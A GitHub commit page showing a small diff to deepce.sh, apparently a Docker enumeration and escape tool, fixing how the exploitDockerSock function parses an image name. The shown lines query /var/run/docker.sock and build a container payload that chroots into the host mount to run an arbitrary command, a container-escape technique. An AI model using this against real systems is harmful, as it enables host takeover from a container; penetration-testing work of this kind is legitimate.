Skip to content

Commit

Permalink
i fixed da errors
Browse files Browse the repository at this point in the history
  • Loading branch information
ngn committed Aug 16, 2023
1 parent ddf9dfe commit d7901a8
Showing 1 changed file with 3 additions and 4 deletions.
7 changes: 3 additions & 4 deletions deepce.sh
Original file line number Diff line number Diff line change
Expand Up @@ -1054,13 +1054,12 @@ exploitDockerSock() {

# Try to find an available docker image
json_data=$(curl -s --unix-socket /var/run/docker.sock http://localhost/images/json)
docker_img=${json_data##*\"RepoTags\":\[\"}
docker_img=${json_data%%\"*}
docker_img=$(echo "$json_data" | grep -o '"RepoTags":\["[^"]*' | grep -o '[^"]*$' | tail -1)

if [[ $json_data != *'"RepoTags":'* ]]; then
if [ -z "$docker_img" ]; then
printInfo 'No avaliable docker image found, using alpine'
docker_img="alpine"
fi
fi

# Create docker container using the docker sock
payload="[\"/bin/sh\",\"-c\",\"chroot /mnt sh -c \\\"$cmd\\\"\"]"
Expand Down

0 comments on commit d7901a8

Please sign in to comment.